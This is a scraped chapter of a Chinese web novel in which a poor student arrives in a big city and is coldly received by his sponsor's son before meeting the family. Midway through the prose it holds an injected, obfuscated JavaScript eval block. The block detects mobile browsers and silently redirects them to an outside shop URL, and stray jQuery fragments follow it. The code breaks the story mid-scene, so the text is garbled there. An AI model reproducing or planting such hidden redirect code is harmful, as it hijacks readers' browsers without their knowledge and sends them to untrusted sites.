“尊敬的旅客您好,您乘坐的K129次列车即将到达嘉宁西站,请下车的旅客整理好行李物品……”
火车正缓缓进站,林栖许背着军绿色大包,还斜挂着一个书包,脚下是个陈旧的行李箱,一手拎着一大塑料袋的土特产,一手扶着放在箱子上的蛇皮袋,排队跟在一行旅客后面准备下车。
突然口袋里的诺基亚震动着大叫起来,在车厢里显得十分尖锐刺耳,林栖许赶忙腾出手接电话。
“你到了没?”电话那头,男生的声音有些不耐烦。
林栖许答道:“到了。”
“在哪?”
“在火车上……”
“……”
林栖许忙补充道:“我、我马上下火车了……”
“北停车场P6 1082,到这找我。”说完便挂了电话。
林栖许刚要开口便听到嘟嘟的忙音,怔了一会,还在消化这句话。
周围的人都在用一种看外星人似的眼神看他,如今的社会已是人手一部智能手机,连老年人都不怎么用诺基亚了,更何况他一个年轻人。
列车停稳开了门,排队的旅客接踵而下,林栖许跟着人/流出了站台。
嘉宁西站实在太大了,跟着指示牌也还是走了不少冤枉路,一路上问了好几个人才找到北停车场。
打电话那人是他恩人的儿子,叫贺闻野,只比他大半岁,今年他们考上同一所大学。
他收到嘉宁大学录取通知书后,恩人闻女士再三邀请他在开学前来嘉宁玩,前天他从戚山出发时,闻阿姨还跟他通过电话,给了他贺闻野的手机号。
嘉宁离戚山很远,林栖许坐了36个小时的硬座,下车时浑身酸软,又拖着沉重的行李辗转了好几处地方,双腿都有些发虚。
等他找到停车位置时,距贺闻野打来电话已过去半小时。
林栖许谨记他说的那串数字,那儿停着一辆黑色轿车,刚走近便听到车内传来游戏厮杀的声音,他想询问一下他是不是贺闻野,踌躇了下,“您好……”
车窗半开着,里头的男生半靠着座椅,手指飞速地操纵手机,低着头看不清他的全貌,侧脸轮廓分明,周身透着一股克制的戾气,看上去很不好惹。
林栖许便不敢说话了,脚步不自觉地后退半步。
默默等了两三分钟。
“VICTORY——”
游戏结束贺闻野把手机一扔,车窗全摇下来,不紧不慢地扭头看了眼窗外。
林栖许局促地定在那,任由他打量。
贺闻野也着实从下到上将他打量了一番。
发白的黑布鞋,补丁的牛仔裤,泛黄起毛的白衬衫,身上挂满了行李,看着十分瘦弱,也不知道哪来的力气扛那么多东西。
啧,脸倒是不赖。
肤色有些苍白,五官精致柔和,那双仿佛含着一汪水的眼睛,此刻正用一种怯怯而诚恳的眼神与他对视。
贺闻野已经确定此人就是他妈资助的那个贫困生,还是象征性地问道:“林栖许?”
林栖许点点头,轻声道:“是的,您是贺闻野哥哥吗?”
贺闻野没搭话,按了下车钥匙,冲他抬抬下巴示意后备箱,半点儿没有要下车搭把手的意思。
林栖许微微颔首,便提着自己的大包小包行李走去后备箱。
他的行李太多,一件件从身上卸下来,整整齐齐放进后备箱,然后拉开后座车门坐进去,还没来得及喘口气便听到贺闻野说:“把我当司机呢?”
林栖许“啊”了声,不明白他为什么这么说。
“啊什么,坐前面,我不给人当司机。”
“哦……”林栖许不大明白,还是照做了,重新上车坐进副驾驶,想着也许是自己让他等太久了,歉疚道:“对不起,让您久等了!”
贺闻野瞥了眼他,“系安全带。”
“哦哦……”林栖许不是第一次坐轿车,但只见过别人系安全带,他还没自己系过,想了想别人是怎么系的,轻轻拉了一下,不敢用力扯很怕给扯坏了,却怎么也拉不开。
“……”贺闻野一脸看元谋人的眼神看他,有点无语:“你是哪个朝代穿越来的,安全带都不会系?”说着便探过身,长臂一伸把安全带用力一扯,嗒一声扣上了。
林栖许满脸通红,“谢谢,我、我没用过……”
贺闻野已经打着方向盘,启动车子绕出停车场。
嘉宁西站人多车多,又是暑假又是周末更堵的厉害,十分钟才开出了几百米,贺闻野本来心情就不好,被堵的愈加烦躁。
眼睛一瞥,副驾驶的人正襟危坐,背挺得笔直,双手交叉放在腿上,乖巧得像小学生上课听讲。
听说他坐了36个小时的绿皮火车,贺闻野没坐过绿皮,但想也知道车上是什么鬼条件,忍不住问:“我妈不是给你钱了,怎么不坐飞机?”
林栖许没想到他会跟自己说话,回答道:“机票太贵了,坐火车省下来的钱我退还闻阿姨了。”
贺闻野闻言愣了下,嗤笑了声,“没必要,我妈不差那几千块钱。”
那不一样的,林栖许心道。他想了想,打了一遍腹稿,重新回答:“其实我坐火车更方便,戚山没有机场,得先坐四个小时火车到省城坐飞机,我行李多,辗转太麻烦了,火车可以直达。”
贺闻野懒得再说什么。
一路无言。
车开过拥挤路段便渐渐畅通,平稳地跑在主路上。将近傍晚时分,一排排路灯逐渐被点亮,林栖许忍不住被窗外的风景吸引。
干净宽敞的街道,琳琅满目的霓虹灯,像一颗颗色彩斑斓的宝石,高楼林立,时不时还会看到一些望也望不到头剑指星空的巨厦。
林栖许从小到大去过最大的城市是戚山县城,连省城都没去过,更别说是嘉宁这样繁华的大都市,什么风景在他眼里都很新奇。
他看得入神,车窗不知什么时候降下,夏天的风迎面扑来。
风是燥热的,但车内冷气很足,很舒服。
半小时后,贺家别墅前院。
贺闻野熄了火,一言不发解了安全带下车。原本已经走开了几步,见他没下车扭头看了眼,嘴里喃着“不是吧”,一边折回去。
贺大少第一次给人开车门,脸都黑了,拉开车门,见他一脸焦急地捣鼓着安全带,还想蜷着身体从安全带下面钻出来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708626|208377||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
贺闻野:“…………”
林栖许尴尬道:“我、我不知道这个怎么解开……”
贺闻野简直匪夷所思,手绕过他去摁开卡扣,一边道:“不是,我妈从哪儿捡的你?”
“贺闻野,你说什么呢!”闻靖和丈夫贺维民听到汽车声便从屋里出来迎人,刚好就听见贺闻野这一句。
贺闻野哼了声,没搭理父母,转身进了屋。闻靖和贺维民相视一眼,一副拿他没办法的样子。
林栖许下了车,很郑重地给闻靖夫妇鞠了个躬:“闻阿姨好,贺叔叔好!”
闻靖展开笑颜,上前去浅浅地抱了下他,“七七,好久不见,你长高了不少,可怎么还是这么瘦呢。”
“你闻阿姨一直念叨着你呢,总算把你盼来了。”贺维民拍拍他肩膀,“以后就把这儿当作自己家,叔叔和阿姨都很欢迎你。”
林栖许感激地看着他们,“谢谢叔叔,谢谢阿姨。”
“你的行李呢,老张,来搬行李。”贺维民招呼张叔来落行李,闻靖则拉着林栖许嘘寒问暖。
打开后备箱,包括张叔在内的三人都吓了一跳,闻靖惊道:“乖乖,你怎么带这么多东西呀,你一个人怎么拿得过来呢,阿姨不是跟你说了,轻装上阵,证件和重要物品带过来就好,其他的东西家里都给你准备好了。”
张叔把行李全落下来,林栖许不习惯被人这么帮忙,还要自己去拎行李,被贺维民拦下,让他不用管,快进屋歇歇。
闻靖拉着他上台阶,“坐那么久的火车,累坏了吧。”
“还好,不是很累。”
“还说不累,看你小脸憔悴的。”
贺维民在后面替他拎书包,看了看那堆行李,又看着他那单薄的背影,摇了摇头,真不知道这孩子一路上怎么过来的。
贺家别墅又大又豪华,像个城堡,精美的水晶吊灯晃得人睁不开眼。
闻靖夫妇俩热情又体贴,两人左一句右一句的关心和问候,林栖许规规矩矩地坐着,认认真真地听,而贺闻野从进门起就歪在沙发上打游戏。
看他那个样子就知道路上没好好招待客人,闻靖抄起一个抱枕扔过去,贺闻野却纹丝不动。
闻靖无奈,转头对林栖许笑了笑,“你贺闻野哥哥平时不这样,他这两天心情不好,要是有什么招待不周的,你别往心里去。”
林栖许忙摆摆手,想解释。
以为他专心打游戏根本没听他们说话,谁知贺闻野突然抬起头,挑着眉毛看他,“你说说,我怎么招待不周你了?”
林栖许赶紧说:“没有没有,贺闻野哥哥对我很好,他还帮我系安全带。”
“哟,真的假的。”贺维民一听便乐了,夫妻俩相视一笑,有点意外,却也十分欣慰。
贺维民语重心长道:“这就对了嘛,你们两个好好相处,马上你们就是大学同学了,在学校要互相帮助,尤其是你阿野,你是哥哥,七七人生地不熟的,你要多照顾着他点儿。”
这套说辞在林栖许来之前贺闻野就听了八百遍了,不耐烦地嘀咕了句“关我屁事”,板着脸从沙发上起来,绕过茶几从林栖许面前走过时,又补了句:“谁是他哥哥。”